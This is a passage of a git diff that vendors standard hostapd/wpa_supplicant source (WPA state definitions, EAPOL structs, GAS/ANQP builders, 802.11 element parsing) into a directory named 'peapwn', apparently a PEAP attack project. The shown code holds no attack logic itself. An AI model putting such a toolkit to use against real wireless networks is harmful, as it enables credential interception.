WPA_ASSOCIATED, + + /** + * WPA_4WAY_HANDSHAKE - WPA 4-Way Key Handshake in progress + * + * This state is entered when WPA/WPA2 4-Way Handshake is started. In + * case of WPA-PSK, this happens when receiving the first EAPOL-Key + * frame after association. In case of WPA-EAP, this state is entered + * when the IEEE 802.1X/EAPOL authentication has been completed. + */ + WPA_4WAY_HANDSHAKE, + + /** + * WPA_GROUP_HANDSHAKE - WPA Group Key Handshake in progress + * + * This state is entered when 4-Way Key Handshake has been completed + * (i.e., when the supplicant sends out message 4/4) and when Group + * Key rekeying is started by the AP (i.e., when supplicant receives + * message 1/2). + */ + WPA_GROUP_HANDSHAKE, + + /** + * WPA_COMPLETED - All authentication completed + * + * This state is entered when the full authentication process is + * completed. In case of WPA2, this happens when the 4-Way Handshake is + * successfully completed. With WPA, this state is entered after the + * Group Key Handshake; with IEEE 802.1X (non-WPA) connection is + * completed after dynamic keys are received (or if not used, after + * the EAP authentication has been completed). With static WEP keys and + * plaintext connections, this state is entered when an association + * has been completed. + * + * This state indicates that the supplicant has completed its + * processing for the association phase and that data connection is + * fully configured. + */ + WPA_COMPLETED +}; + +#define MLME_SETPROTECTION_PROTECT_TYPE_NONE 0 +#define MLME_SETPROTECTION_PROTECT_TYPE_RX 1 +#define MLME_SETPROTECTION_PROTECT_TYPE_TX 2 +#define MLME_SETPROTECTION_PROTECT_TYPE_RX_TX 3 + +#define MLME_SETPROTECTION_KEY_TYPE_GROUP 0 +#define MLME_SETPROTECTION_KEY_TYPE_PAIRWISE 1 + + +/** + * enum mfp_options - Management frame protection (IEEE 802.11w) options + */ +enum mfp_options { + NO_MGMT_FRAME_PROTECTION = 0, + MGMT_FRAME_PROTECTION_OPTIONAL = 1, + MGMT_FRAME_PROTECTION_REQUIRED = 2, +}; +#define MGMT_FRAME_PROTECTION_DEFAULT 3 + +/** + * enum hostapd_hw_mode - Hardware mode + */ +enum hostapd_hw_mode { + HOSTAPD_MODE_IEEE80211B, + HOSTAPD_MODE_IEEE80211G, + HOSTAPD_MODE_IEEE80211A, + HOSTAPD_MODE_IEEE80211AD, + NUM_HOSTAPD_MODES +}; + +/** + * enum wpa_ctrl_req_type - Control interface request types + */ +enum wpa_ctrl_req_type { + WPA_CTRL_REQ_UNKNOWN, + WPA_CTRL_REQ_EAP_IDENTITY, + WPA_CTRL_REQ_EAP_PASSWORD, + WPA_CTRL_REQ_EAP_NEW_PASSWORD, + WPA_CTRL_REQ_EAP_PIN, + WPA_CTRL_REQ_EAP_OTP, + WPA_CTRL_REQ_EAP_PASSPHRASE, + WPA_CTRL_REQ_SIM, + NUM_WPA_CTRL_REQS +}; + +/* Maximum number of EAP methods to store for EAP server user information */ +#define EAP_MAX_METHODS 8 + +#endif /* DEFS_H */ diff --git a/peapwn/mods/hostap/src/common/eapol_common.h b/peapwn/mods/hostap/src/common/eapol_common.h new file mode 100644 index 000000000..4811f38aa --- /dev/null +++ b/peapwn/mods/hostap/src/common/eapol_common.h @@ -0,0 +1,81 @@ +/* + * EAPOL definitions shared between hostapd and wpa_supplicant + * Copyright (c) 2002-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAPOL_COMMON_H +#define EAPOL_COMMON_H + +/* IEEE Std 802.1X-2004 */ + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct ieee802_1x_hdr { + u8 version; + u8 type; + be16 length; + /* followed by length octets of data */ +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +#define EAPOL_VERSION 2 + +enum { IEEE802_1X_TYPE_EAP_PACKET = 0, + IEEE802_1X_TYPE_EAPOL_START = 1, + IEEE802_1X_TYPE_EAPOL_LOGOFF = 2, + IEEE802_1X_TYPE_EAPOL_KEY = 3, + IEEE802_1X_TYPE_EAPOL_ENCAPSULATED_ASF_ALERT = 4 +}; + +enum { EAPOL_KEY_TYPE_RC4 = 1, EAPOL_KEY_TYPE_RSN = 2, + EAPOL_KEY_TYPE_WPA = 254 }; + + +#define IEEE8021X_REPLAY_COUNTER_LEN 8 +#define IEEE8021X_KEY_SIGN_LEN 16 +#define IEEE8021X_KEY_IV_LEN 16 + +#define IEEE8021X_KEY_INDEX_FLAG 0x80 +#define IEEE8021X_KEY_INDEX_MASK 0x03 + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct ieee802_1x_eapol_key { + u8 type; + /* Note: key_length is unaligned */ + u8 key_length[2]; + /* does not repeat within the life of the keying material used to + * encrypt the Key field; 64-bit NTP timestamp MAY be used here */ + u8 replay_counter[IEEE8021X_REPLAY_COUNTER_LEN]; + u8 key_iv[IEEE8021X_KEY_IV_LEN]; /* cryptographically random number */ + u8 key_index; /* key flag in the most significant bit: + * 0 = broadcast (default key), + * 1 = unicast (key mapping key); key index is in the + * 7 least significant bits */ + /* HMAC-MD5 message integrity check computed with MS-MPPE-Send-Key as + * the key */ + u8 key_signature[IEEE8021X_KEY_SIGN_LEN]; + + /* followed by key: if packet body length = 44 + key length, then the + * key field (of key_length bytes) contains the key in encrypted form; + * if packet body length = 44, key field is absent and key_length + * represents the number of least significant octets from + * MS-MPPE-Send-Key attribute to be used as the keying material; + * RC4 key used in encryption = Key-IV + MS-MPPE-Recv-Key */ +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +#endif /* EAPOL_COMMON_H */ diff --git a/peapwn/mods/hostap/src/common/gas.c b/peapwn/mods/hostap/src/common/gas.c new file mode 100644 index 000000000..cff9254b7 --- /dev/null +++ b/peapwn/mods/hostap/src/common/gas.c @@ -0,0 +1,273 @@ +/* + * Generic advertisement service (GAS) (IEEE 802.11u) + * Copyright (c) 2009, Atheros Communications + * Copyright (c) 2011-2012, Qualcomm Atheros + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "ieee802_11_defs.h" +#include "gas.h" + + +static struct wpabuf * +gas_build_req(u8 action, u8 dialog_token, size_t size) +{ + struct wpabuf *buf; + + buf = wpabuf_alloc(100 + size); + if (buf == NULL) + return NULL; + + wpabuf_put_u8(buf, WLAN_ACTION_PUBLIC); + wpabuf_put_u8(buf, action); + wpabuf_put_u8(buf, dialog_token); + + return buf; +} + + +struct wpabuf * gas_build_initial_req(u8 dialog_token, size_t size) +{ + return gas_build_req(WLAN_PA_GAS_INITIAL_REQ, dialog_token, + size); +} + + +struct wpabuf * gas_build_comeback_req(u8 dialog_token) +{ + return gas_build_req(WLAN_PA_GAS_COMEBACK_REQ, dialog_token, 0); +} + + +static struct wpabuf * +gas_build_resp(u8 action, u8 dialog_token, u16 status_code, u8 frag_id, + u8 more, u16 comeback_delay, size_t size) +{ + struct wpabuf *buf; + + buf = wpabuf_alloc(100 + size); + if (buf == NULL) + return NULL; + + wpabuf_put_u8(buf, WLAN_ACTION_PUBLIC); + wpabuf_put_u8(buf, action); + wpabuf_put_u8(buf, dialog_token); + wpabuf_put_le16(buf, status_code); + if (action == WLAN_PA_GAS_COMEBACK_RESP) + wpabuf_put_u8(buf, frag_id | (more ? 0x80 : 0)); + wpabuf_put_le16(buf, comeback_delay); + + return buf; +} + + +struct wpabuf * +gas_build_initial_resp(u8 dialog_token, u16 status_code, u16 comeback_delay, + size_t size) +{ + return gas_build_resp(WLAN_PA_GAS_INITIAL_RESP, dialog_token, + status_code, 0, 0, comeback_delay, size); +} + + +static struct wpabuf * +gas_build_comeback_resp(u8 dialog_token, u16 status_code, u8 frag_id, u8 more, + u16 comeback_delay, size_t size) +{ + return gas_build_resp(WLAN_PA_GAS_COMEBACK_RESP, dialog_token, + status_code, frag_id, more, comeback_delay, + size); +} + + +/** + * gas_add_adv_proto_anqp - Add an Advertisement Protocol element + * @buf: Buffer to which the element is added + * @query_resp_len_limit: Query Response Length Limit in units of 256 octets + * @pame_bi: Pre-Association Message Exchange BSSID Independent (0/1) + * + * + * @query_resp_len_limit is 0 for request and 1-0x7f for response. 0x7f means + * that the maximum limit is determined by the maximum allowable number of + * fragments in the GAS Query Response Fragment ID. + */ +static void gas_add_adv_proto_anqp(struct wpabuf *buf, u8 query_resp_len_limit, + u8 pame_bi) +{ + /* Advertisement Protocol IE */ + wpabuf_put_u8(buf, WLAN_EID_ADV_PROTO); + wpabuf_put_u8(buf, 2); /* Length */ + wpabuf_put_u8(buf, (query_resp_len_limit & 0x7f) | + (pame_bi ? 0x80 : 0)); + /* Advertisement Protocol */ + wpabuf_put_u8(buf, ACCESS_NETWORK_QUERY_PROTOCOL); +} + + +struct wpabuf * gas_anqp_build_initial_req(u8 dialog_token, size_t size) +{ + struct wpabuf *buf; + + buf = gas_build_initial_req(dialog_token, 4 + size); + if (buf == NULL) + return NULL; + + gas_add_adv_proto_anqp(buf, 0, 0); + + wpabuf_put(buf, 2); /* Query Request Length to be filled */ + + return buf; +} + + +struct wpabuf * gas_anqp_build_initial_resp(u8 dialog_token, u16 status_code, + u16 comeback_delay, size_t size) +{ + struct wpabuf *buf; + + buf = gas_build_initial_resp(dialog_token, status_code, comeback_delay, + 4 + size); + if (buf == NULL) + return NULL; + + gas_add_adv_proto_anqp(buf, 0x7f, 0); + + wpabuf_put(buf, 2); /* Query Response Length to be filled */ + + return buf; +} + + +struct wpabuf * gas_anqp_build_initial_resp_buf(u8 dialog_token, + u16 status_code, + u16 comeback_delay, + struct wpabuf *payload) +{ + struct wpabuf *buf; + + buf = gas_anqp_build_initial_resp(dialog_token, status_code, + comeback_delay, + payload ? wpabuf_len(payload) : 0); + if (buf == NULL) + return NULL; + + if (payload) + wpabuf_put_buf(buf, payload); + + gas_anqp_set_len(buf); + + return buf; +} + + +struct wpabuf * gas_anqp_build_comeback_resp(u8 dialog_token, u16 status_code, + u8 frag_id, u8 more, + u16 comeback_delay, size_t size) +{ + struct wpabuf *buf; + + buf = gas_build_comeback_resp(dialog_token, status_code, + frag_id, more, comeback_delay, 4 + size); + if (buf == NULL) + return NULL; + + gas_add_adv_proto_anqp(buf, 0x7f, 0); + + wpabuf_put(buf, 2); /* Query Response Length to be filled */ + + return buf; +} + + +struct wpabuf * gas_anqp_build_comeback_resp_buf(u8 dialog_token, + u16 status_code, + u8 frag_id, u8 more, + u16 comeback_delay, + struct wpabuf *payload) +{ + struct wpabuf *buf; + + buf = gas_anqp_build_comeback_resp(dialog_token, status_code, frag_id, + more, comeback_delay, + payload ? wpabuf_len(payload) : 0); + if (buf == NULL) + return NULL; + + if (payload) + wpabuf_put_buf(buf, payload); + + gas_anqp_set_len(buf); + + return buf; +} + + +/** + * gas_anqp_set_len - Set Query Request/Response Length + * @buf: GAS message + * + * This function is used to update the Query Request/Response Length field once + * the payload has been filled. + */ +void gas_anqp_set_len(struct wpabuf *buf) +{ + u8 action; + size_t offset; + u8 *len; + + if (buf == NULL || wpabuf_len(buf) < 2) + return; + + action = *(wpabuf_head_u8(buf) + 1); + switch (action) { + case WLAN_PA_GAS_INITIAL_REQ: + offset = 3 + 4; + break; + case WLAN_PA_GAS_INITIAL_RESP: + offset = 7 + 4; + break; + case WLAN_PA_GAS_COMEBACK_RESP: + offset = 8 + 4; + break; + default: + return; + } + + if (wpabuf_len(buf) < offset + 2) + return; + + len = wpabuf_mhead_u8(buf) + offset; + WPA_PUT_LE16(len, (u8 *) wpabuf_put(buf, 0) - len - 2); +} + + +/** + * gas_anqp_add_element - Add ANQP element header + * @buf: GAS message + * @info_id: ANQP Info ID + * Returns: Pointer to the Length field for gas_anqp_set_element_len() + */ +u8 * gas_anqp_add_element(struct wpabuf *buf, u16 info_id) +{ + wpabuf_put_le16(buf, info_id); + return wpabuf_put(buf, 2); /* Length to be filled */ +} + + +/** + * gas_anqp_set_element_len - Update ANQP element Length field + * @buf: GAS message + * @len_pos: Length field position from gas_anqp_add_element() + * + * This function is called after the ANQP element payload has been added to the + * buffer. + */ +void gas_anqp_set_element_len(struct wpabuf *buf, u8 *len_pos) +{ + WPA_PUT_LE16(len_pos, (u8 *) wpabuf_put(buf, 0) - len_pos - 2); +} diff --git a/peapwn/mods/hostap/src/common/gas.h b/peapwn/mods/hostap/src/common/gas.h new file mode 100644 index 000000000..306adc58c --- /dev/null +++ b/peapwn/mods/hostap/src/common/gas.h @@ -0,0 +1,37 @@ +/* + * Generic advertisement service (GAS) (IEEE 802.11u) + * Copyright (c) 2009, Atheros Communications + * Copyright (c) 2011-2012, Qualcomm Atheros + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef GAS_H +#define GAS_H + +struct wpabuf * gas_build_initial_req(u8 dialog_token, size_t size); +struct wpabuf * gas_build_comeback_req(u8 dialog_token); +struct wpabuf * gas_build_initial_resp(u8 dialog_token, u16 status_code, + u16 comeback_delay, size_t size); +struct wpabuf * gas_anqp_build_initial_req(u8 dialog_token, size_t size); +struct wpabuf * gas_anqp_build_initial_resp(u8 dialog_token, u16 status_code, + u16 comeback_delay, size_t size); +struct wpabuf * gas_anqp_build_initial_resp_buf(u8 dialog_token, + u16 status_code, + u16 comeback_delay, + struct wpabuf *payload); +struct wpabuf * gas_anqp_build_comeback_resp(u8 dialog_token, u16 status_code, + u8 frag_id, u8 more, + u16 comeback_delay, size_t size); +struct wpabuf * gas_anqp_build_comeback_resp_buf(u8 dialog_token, + u16 status_code, + u8 frag_id, u8 more, + u16 comeback_delay, + struct wpabuf *payload); +void gas_anqp_set_len(struct wpabuf *buf); + +u8 * gas_anqp_add_element(struct wpabuf *buf, u16 info_id); +void gas_anqp_set_element_len(struct wpabuf *buf, u8 *len_pos); + +#endif /* GAS_H */ diff --git a/peapwn/mods/hostap/src/common/ieee802_11_common.c b/peapwn/mods/hostap/src/common/ieee802_11_common.c new file mode 100644 index 000000000..304dfc691 --- /dev/null +++ b/peapwn/mods/hostap/src/common/ieee802_11_common.c @@ -0,0 +1,553 @@ +/* + * IEEE 802.11 Common routines + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "defs.h" +#include "ieee802_11_defs.h" +#include "ieee802_11_common.h" + + +static int ieee802_11_parse_vendor_specific(const u8 *pos, size_t elen, + struct ieee802_11_elems *elems, + int show_errors) +{ + unsigned int oui; + + /* first 3 bytes in vendor specific information element are the IEEE + * OUI of the vendor. The following byte is used a vendor specific + * sub-type. */ + if (elen < 4) { + if (show_errors) { + wpa_printf(MSG_MSGDUMP, "short vendor specific " + "information element ignored (len=%lu)", + (unsigned long) elen); + } + return -1; + } + + oui = WPA_GET_BE24(pos); + switch (oui) { + case OUI_MICROSOFT: + /* Microsoft/Wi-Fi information elements are further typed and + * subtyped */ + switch (pos[3]) { + case 1: + /* Microsoft OUI (00:50:F2) with OUI Type 1: + * real WPA information element */ + elems->wpa_ie = pos; + elems->wpa_ie_len = elen; + break; + case WMM_OUI_TYPE: + /* WMM information element */ + if (elen < 5) { + wpa_printf(MSG_MSGDUMP, "short WMM " + "information element ignored " + "(len=%lu)", + (unsigned long) elen); + return -1; + } + switch (pos[4]) { + case WMM_OUI_SUBTYPE_INFORMATION_ELEMENT: + case WMM_OUI_SUBTYPE_PARAMETER_ELEMENT: + /* + * Share same pointer since only one of these + * is used and they start with same data. + * Length field can be used to distinguish the + * IEs. + */ + elems->wmm = pos; + elems->wmm_len = elen; + break; + case WMM_OUI_SUBTYPE_TSPEC_ELEMENT: + elems->wmm_tspec = pos; + elems->wmm_tspec_len = elen; + break; + default: + wpa_printf(MSG_EXCESSIVE, "unknown WMM " + "information element ignored " + "(subtype=%d len=%lu)", + pos[4], (unsigned long) elen); + return -1; + } + break; + case 4: + /* Wi-Fi Protected Setup (WPS) IE */ + elems->wps_ie = pos; + elems->wps_ie_len = elen; + break; + default: + wpa_printf(MSG_EXCESSIVE, "Unknown Microsoft " + "information element ignored " + "(type=%d len=%lu)", + pos[3], (unsigned long) elen); + return -1; + } + break; + + case OUI_WFA: + switch (pos[3]) { + case P2P_OUI_TYPE: + /* Wi-Fi Alliance - P2P IE */ + elems->p2p = pos; + elems->p2p_len = elen; + break; + case WFD_OUI_TYPE: + /* Wi-Fi Alliance - WFD IE */ + elems->wfd = pos; + elems->wfd_len = elen; + break; + case HS20_INDICATION_OUI_TYPE: + /* Hotspot 2.0 */ + elems->hs20 = pos; + elems->hs20_len = elen; + break; + default: + wpa_printf(MSG_MSGDUMP, "Unknown WFA " + "information element ignored " + "(type=%d len=%lu)\n", + pos[3], (unsigned long) elen); + return -1; + } + break; + + case OUI_BROADCOM: + switch (pos[3]) { + case VENDOR_HT_CAPAB_OUI_TYPE: + elems->vendor_ht_cap = pos; + elems->vendor_ht_cap_len = elen; + break; + default: + wpa_printf(MSG_EXCESSIVE, "Unknown Broadcom " + "information element ignored " + "(type=%d len=%lu)", + pos[3], (unsigned long) elen); + return -1; + } + break; + + default: + wpa_printf(MSG_EXCESSIVE, "unknown vendor specific " + "information element ignored (vendor OUI " + "%02x:%02x:%02x len=%lu)", + pos[0], pos[1], pos[2], (unsigned long) elen); + return -1; + } + + return 0; +} + + +/** + * ieee802_11_parse_elems - Parse information elements in management frames + * @start: Pointer to the start of IEs + * @len: Length of IE buffer in octets + * @elems: Data structure for parsed elements + * @show_errors: Whether to show parsing errors in debug log + * Returns: Parsing result + */ +ParseRes ieee802_11_parse_elems(const u8 *start, size_t len, + struct ieee802_11_elems *elems, + int show_errors) +{ + size_t left = len; + const u8 *pos = start; + int unknown = 0; + + os_memset(elems, 0, sizeof(*elems)); + + while (left >= 2) { + u8 id, elen; + + id = *pos++; + elen = *pos++; + left -= 2; + + if (elen > left) { + if (show_errors) { + wpa_printf(MSG_DEBUG, "IEEE 802.11 element " + "parse failed (id=%d elen=%d " + "left=%lu)", + id, elen, (unsigned long) left); + wpa_hexdump(MSG_MSGDUMP, "IEs", start, len); + } + return ParseFailed; + } + + switch (id) { + case WLAN_EID_SSID: + elems->ssid = pos; + elems->ssid_len = elen; + break; + case WLAN_EID_SUPP_RATES: + elems->supp_rates = pos; + elems->supp_rates_len = elen; + break; + case WLAN_EID_FH_PARAMS: + elems->fh_params = pos; + elems->fh_params_len = elen; + break; + case WLAN_EID_DS_PARAMS: + elems->ds_params = pos; + elems->ds_params_len = elen; + break; + case WLAN_EID_CF_PARAMS: + elems->cf_params = pos; + elems->cf_params_len = elen; + break; + case WLAN_EID_TIM: + elems->tim = pos; + elems->tim_len = elen; + break; + case WLAN_EID_IBSS_PARAMS: + elems->ibss_params = pos; + elems->ibss_params_len = elen; + break; + case WLAN_EID_CHALLENGE: + elems->challenge = pos; + elems->challenge_len = elen; + break; + case WLAN_EID_ERP_INFO: + elems->erp_info = pos; + elems->erp_info_len = elen; + break; + case WLAN_EID_EXT_SUPP_RATES: + elems->ext_supp_rates = pos; + elems->ext_supp_rates_len = elen; + break; + case WLAN_EID_VENDOR_SPECIFIC: + if (ieee802_11_parse_vendor_specific(pos, elen, + elems, + show_errors)) + unknown++; + break; + case WLAN_EID_RSN: + elems->rsn_ie = pos; + elems->rsn_ie_len = elen; + break; + case WLAN_EID_PWR_CAPABILITY: + elems->power_cap = pos; + elems->power_cap_len = elen; + break; + case WLAN_EID_SUPPORTED_CHANNELS: + elems->supp_channels = pos; + elems->supp_channels_len = elen; + break; + case WLAN_EID_MOBILITY_DOMAIN: + elems->mdie = pos; + elems->mdie_len = elen; + break; + case WLAN_EID_FAST_BSS_TRANSITION: + elems->ftie = pos; + elems->ftie_len = elen; + break; + case WLAN_EID_TIMEOUT_INTERVAL: + elems->timeout_int = pos; + elems->timeout_int_len = elen; + break; + case WLAN_EID_HT_CAP: + elems->ht_capabilities = pos; + elems->ht_capabilities_len = elen; + break; + case WLAN_EID_HT_OPERATION: + elems->ht_operation = pos; + elems->ht_operation_len = elen; + break; + case WLAN_EID_VHT_CAP: + elems->vht_capabilities = pos; + elems->vht_capabilities_len = elen; + break; + case WLAN_EID_VHT_OPERATION: + elems->vht_operation = pos; + elems->vht_operation_len = elen; + break; + case WLAN_EID_LINK_ID: + if (elen < 18) + break; + elems->link_id = pos; + break; + case WLAN_EID_INTERWORKING: + elems->interworking = pos; + elems->interworking_len = elen; + break; + case WLAN_EID_QOS_MAP_SET: + if (elen < 16) + break; + elems->qos_map_set = pos; + elems->qos_map_set_len = elen; + break; + case WLAN_EID_EXT_CAPAB: + elems->ext_capab = pos; + elems->ext_capab_len = elen; + break; + case WLAN_EID_BSS_MAX_IDLE_PERIOD: + if (elen < 3) + break; + elems->bss_max_idle_period = pos; + break; + case WLAN_EID_SSID_LIST: + elems->ssid_list = pos; + elems->ssid_list_len = elen; + break; + default: + unknown++; + if (!show_errors) + break; + wpa_printf(MSG_MSGDUMP, "IEEE 802.11 element parse " + "ignored unknown element (id=%d elen=%d)", + id, elen); + break; + } + + left -= elen; + pos += elen; + } + + if (left) + return ParseFailed; + + return unknown ? ParseUnknown : ParseOK; +} + + +int ieee802_11_ie_count(const u8 *ies, size_t ies_len) +{ + int count = 0; + const u8 *pos, *end; + + if (ies == NULL) + return 0; + + pos = ies; + end = ies + ies_len; + + while (pos + 2 <= end) { + if (pos + 2 + pos[1] > end) + break; + count++; + pos += 2 + pos[1]; + } + + return count; +} + + +struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len, + u32 oui_type) +{ + struct wpabuf *buf; + const u8 *end, *pos, *ie; + + pos = ies; + end = ies + ies_len; + ie = NULL; + + while (pos + 1 < end) { + if (pos + 2 + pos[1] > end) + return NULL; + if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 && + WPA_GET_BE32(&pos[2]) == oui_type) { + ie = pos; + break; + } + pos += 2 + pos[1]; + } + + if (ie == NULL) + return NULL; /* No specified vendor IE found */ + + buf = wpabuf_alloc(ies_len); + if (buf == NULL) + return NULL; + + /* + * There may be multiple vendor IEs in the message, so need to + * concatenate their data fields. + */ + while (pos + 1 < end) { + if (pos + 2 + pos[1] > end) + break; + if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 && + WPA_GET_BE32(&pos[2]) == oui_type) + wpabuf_put_data(buf, pos + 6, pos[1] - 4); + pos += 2 + pos[1]; + } + + return buf; +} + + +const u8 * get_hdr_bssid(const struct ieee80211_hdr *hdr, size_t len) +{ + u16 fc, type, stype; + + /* + * PS-Poll frames are 16 bytes. All other frames are + * 24 bytes or longer. + */ + if (len < 16) + return NULL; + + fc = le_to_host16(hdr->frame_control); + type = WLAN_FC_GET_TYPE(fc); + stype = WLAN_FC_GET_STYPE(fc); + + switch (type) { + case WLAN_FC_TYPE_DATA: + if (len < 24) + return NULL; + switch (fc & (WLAN_FC_FROMDS | WLAN_FC_TODS)) { + case WLAN_FC_FROMDS | WLAN_FC_TODS: + case WLAN_FC_TODS: + return hdr->addr1; + case WLAN_FC_FROMDS: + return hdr->addr2; + default: + return NULL; + } + case WLAN_FC_TYPE_CTRL: + if (stype != WLAN_FC_STYPE_PSPOLL) + return NULL; + return hdr->addr1; + case WLAN_FC_TYPE_MGMT: + return hdr->addr3; + default: + return NULL; + } +} + + +int hostapd_config_wmm_ac(struct hostapd_wmm_ac_params wmm_ac_params[], + const char *name, const char *val) +{ + int num, v; + const char *pos; + struct hostapd_wmm_ac_params *ac; + + /* skip 'wme_ac_' or 'wmm_ac_' prefix */ + pos = name + 7; + if (os_strncmp(pos, "be_", 3) == 0) { + num = 0; + pos += 3; + } else if (os_strncmp(pos, "bk_", 3) == 0) { + num = 1; + pos += 3; + } else if (os_strncmp(pos, "vi_", 3) == 0) { + num = 2; + pos += 3; + } else if (os_strncmp(pos, "vo_", 3) == 0) { + num = 3; + pos += 3; + } else { + wpa_printf(MSG_ERROR, "Unknown WMM name '%s'", pos); + return -1; + } + + ac = &wmm_ac_params[num]; + + if (os_strcmp(pos, "aifs") == 0) { + v = atoi(val); + if (v < 1 || v > 255) { + wpa_printf(MSG_ERROR, "Invalid AIFS value %d", v); + return -1; + } + ac->aifs = v; + } else if (os_strcmp(pos, "cwmin") == 0) { + v = atoi(val); + if (v < 0 || v > 12) { + wpa_printf(MSG_ERROR, "Invalid cwMin value %d", v); + return -1; + } + ac->cwmin = v; + } else if (os_strcmp(pos, "cwmax") == 0) { + v = atoi(val); + if (v < 0 || v > 12) { + wpa_printf(MSG_ERROR, "Invalid cwMax value %d", v); + return -1; + } + ac->cwmax = v; + } else if (os_strcmp(pos, "txop_limit") == 0) { + v = atoi(val); + if (v < 0 || v > 0xffff) { + wpa_printf(MSG_ERROR, "Invalid txop value %d", v); + return -1; + } + ac->txop_limit = v; + } else if (os_strcmp(pos, "acm") == 0) { + v = atoi(val); + if (v < 0 || v > 1) { + wpa_printf(MSG_ERROR, "Invalid acm value %d", v); + return -1; + } + ac->admission_control_mandatory = v; + } else { + wpa_printf(MSG_ERROR, "Unknown wmm_ac_ field '%s'", pos); + return -1; + } + + return 0; +} + + +enum hostapd_hw_mode ieee80211_freq_to_chan(int freq, u8 *channel) +{ + enum hostapd_hw_mode mode = NUM_HOSTAPD_MODES; + + if (freq >= 2412 && freq <= 2472) { + mode = HOSTAPD_MODE_IEEE80211G; + *channel = (freq - 2407) / 5; + } else if (freq == 2484) { + mode = HOSTAPD_MODE_IEEE80211B; + *channel = 14; + } else if (freq >= 4900 && freq < 5000) { + mode = HOSTAPD_MODE_IEEE80211A; + *channel = (freq - 4000) / 5; + } else if (freq >= 5000 && freq < 5900) { + mode = HOSTAPD_MODE_IEEE80211A; + *channel = (freq - 5000) / 5; + } else if (freq >= 56160 + 2160 * 1 && freq <= 56160 + 2160 * 4) { + mode = HOSTAPD_MODE_IEEE80211AD; + *channel = (freq - 56160) / 2160; + } + + return mode; +} + + +static int is_11b(u8 rate) +{ + return rate == 0x02 || rate == 0x04 || rate == 0x0b || rate == 0x16; +} + + +int supp_rates_11b_only(struct ieee802_11_elems *elems) +{ + int num_11b = 0, num_others = 0; + int i; + + if (elems->supp_rates == NULL && elems->ext_supp_rates == NULL) + return 0; + + for (i = 0; elems->supp_rates && i < elems->supp_rates_len; i++) { + if (is_11b(elems->supp_rates[i])) + num_11b++; + else + num_others++; + } + + for (i = 0; elems->ext_supp_rates && i < elems->ext_supp_rates_len; + i++) { + if (is_11b(elems->ext_supp_rates[i])) + num_11b++; + else + num_others++; + } + + return num_11b > 0 && num_others == 0; +} diff --git a/peapwn/mods/hostap/src/common/ieee802_11_common.h b/peapwn/mods/hostap/src/common/ieee802_11_common.h new file mode 100644 index 000000000..c4618b2d6 --- /dev/null +++ b/peapwn/mods/hostap/src/common/ieee802_11_common.h @@ -0,0 +1,108 @@ +/* + * IEEE 802.11 Common routines + * Copyright (c) 2002-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IEEE802_11_COMMON_H +#define IEEE802_11_COMMON_H + +/* Parsed Information Elements */ +struct ieee802_11_elems { + const u8 *ssid; + const u8 *supp_rates; + const u8 *fh_params; + const u8 *ds_params; + const u8 *cf_params; + const u8 *tim; + const u8 *ibss_params; + const u8 *challenge; + const u8 *erp_info; + const u8 *ext_supp_rates; + const u8 *wpa_ie; + const u8 *rsn_ie; + const u8 *wmm; /* WMM Information or Parameter Element */ + const u8 *wmm_tspec; + const u8 *wps_ie; + const u8 *power_cap; + const u8 *supp_channels; + const u8 *mdie; + const u8 *ftie; + const u8 *timeout_int; + const u8 *ht_capabilities; + const u8 *ht_operation; + const u8 *vht_capabilities; + const u8 *vht_operation; + const u8 *vendor_ht_cap; + const u8 *p2p; + const u8 *wfd; + const u8 *link_id; + const u8 *interworking; + const u8 *qos_map_set; + const u8 *hs20; + const u8 *ext_capab; + const u8 *bss_max_idle_period; + const u8 *ssid_list; + + u8 ssid_len; + u8 supp_rates_len; + u8 fh_params_len; + u8 ds_params_len; + u8 cf_params_len; + u8 tim_len; + u8 ibss_params_len; + u8 challenge_len; + u8 erp_info_len; + u8 ext_supp_rates_len; + u8 wpa_ie_len; + u8 rsn_ie_len; + u8 wmm_len; /* 7 = WMM Information; 24 = WMM Parameter */ + u8 wmm_tspec_len; + u8 wps_ie_len; + u8 power_cap_len; + u8 supp_channels_len; + u8 mdie_len; + u8 ftie_len; + u8 timeout_int_len; + u8 ht_capabilities_len; + u8 ht_operation_len; + u8 vht_capabilities_len; + u8 vht_operation_len; + u8 vendor_ht_cap_len; + u8 p2p_len; + u8 wfd_len; + u8 interworking_len; + u8 qos_map_set_len; + u8 hs20_len; + u8 ext_capab_len; + u8 ssid_list_len; +}; + +typedef enum { ParseOK = 0, ParseUnknown = 1, ParseFailed = -1 } ParseRes; + +ParseRes ieee802_11_parse_elems(const u8 *start, size_t len, + struct ieee802_11_elems *elems, + int show_errors); +int ieee802_11_ie_count(const u8 *ies, size_t ies_len); +struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len, + u32 oui_type); +struct ieee80211_hdr; +const u8 * get_hdr_bssid(const struct ieee80211_hdr *hdr, size_t len); + +struct hostapd_wmm_ac_params { + int cwmin; + int cwmax; + int aifs; + int txop_limit; /* in units of 32us */ + int admission_control_mandatory; +}; + +int hostapd_config_wmm_ac(struct hostapd_wmm_ac_params wmm_ac_params[], + const char *name, const char *val); +enum hostapd_hw_mode ieee80211_freq_to_chan(int freq, u8 *channel); + +int supp_rates_11b_only(struct ieee802_11_elems *elems); + +#endif /* IEEE802_11_COMMON_H */ diff --git a/peapwn/mods/hostap/src/common/ieee802_11_defs.h b/peapwn/mods/hostap/src/common/ieee802_11_defs.h new file mode 100644 index 000000000..9b2d54f4a --- /dev/null +++ b/peapwn/mods/hostap/src/common/ieee802_11_defs.h @@ 